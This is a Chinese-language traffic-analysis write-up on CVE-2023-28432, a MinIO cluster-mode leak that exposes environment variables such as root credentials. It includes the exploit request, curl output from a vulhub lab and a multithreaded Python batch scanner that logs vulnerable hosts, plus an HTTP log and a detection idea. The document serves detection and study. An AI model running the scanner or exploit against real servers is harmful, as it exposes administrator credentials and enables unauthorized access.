CVE-2023-28432-MinIO集群模式信息泄露漏洞流量分析

简介

MinIO是一个开源对象存储系统。

在其RELEASE.2023-03-20T20-16-18Z版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。

参考链接：

• https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
• https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ

检测日志

HTTP.log

测试复现

漏洞环境

执行如下命令启动一个MinIO集群，其中包含3个以集群模式运行的服务：

docker-compose up -d

集群启动后，访问http://your-ip:9001可以查看Web管理页面，访问http://your-ip:9000是API服务。

漏洞复现

这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上，发送如下数据包即可查看泄露的环境变量：

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

这里采用另外一种方法进行验证：

jackma@linux:~/下载$ curl -XPOST 10.211.55.71:9000/minio/bootstrap/v1/verify
{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}

可见，其中包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。使用这个账号密码，即可成功登录管理后台。

批量检测脚本

import requests
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
#app="minio"

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]

def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua

proxies={'http': 'http://127.0.0.1:8080',
        'https': 'https://127.0.0.1:8080'}

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")

#poc
def check_url(url):
    url=parse.urlparse(url)
    hostname  = url.hostname
    url=url.scheme + '://' + url.netloc
    vulnurl=url + "/minio/bootstrap/v1/verify"
    headers = {
        'User-Agent': get_ua(),
        "host":hostname,
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data=""
    try:
        res = requests.post(vulnurl, verify=False, allow_redirects=False, headers=headers,data=data ,timeout=5)
        if res.status_code == 200 and "MinioEn" in res.text:
            # print(res.text)
            print("\033[32m[+]{} is vulnerable\033[0m".format(url))
            wirte_targets(vulnurl,"vuln.txt")
        else:
            print("\033[34m[-]{} not vulnerable.\033[0m".format(url))
    except Exception as e:
        print("\033[34m[!]{} request false.\033[0m".format(url))
        pass

#多线程
def multithreading(url_list, pools=5):
    works = []
    for i in url_list:
        # works.append((func_params, None))
        works.append(i)
    # print(works)
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(check_url, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()


if __name__ == '__main__':
    arg=ArgumentParser(description='check_url By m2')
    arg.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    arg.add_argument("-f",
                        "--file",
                        help="Target URL; Example:url.txt")
    args=arg.parse_args()
    url=args.url
    filename=args.file
    print("[+]任务开始.....")
    start=time()
    if url != None and filename == None:
        check_url(url)
    elif url == None and filename != None:
        for i in open(filename):
            i=i.replace('\n','')
            url_list.append(i)
        multithreading(url_list,10)
    end=time()
    print('任务完成,用时%ds.' %(end-start))

测试留痕

HTTP_log

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 10.211.55.71:9000
User-Agent: curl/7.81.0
Accept: */*

HTTP/1.1 200 OK
Content-Security-Policy: block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Request-Id: 176C8C25765008C9
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Date: Tue, 27 Jun 2023 15:00:52 GMT
Content-Length: 1107
Content-Type: text/plain; charset=utf-8

{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}

检测规则/思路

对请求方法和URL、HOST内容进行分析，同时观察返回内容中是否包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。

参考推荐

CVE-2023-28432

https://github.com/vulhub/vulhub/blob/6e9b1c1acd60529384a5751ea9de4dae595259c6/minio/CVE-2023-28432/README.zh-cn.md

MinIO信息泄漏分析与复现CVE-2023-28432

https://aq.mk/index.php/archives/142.html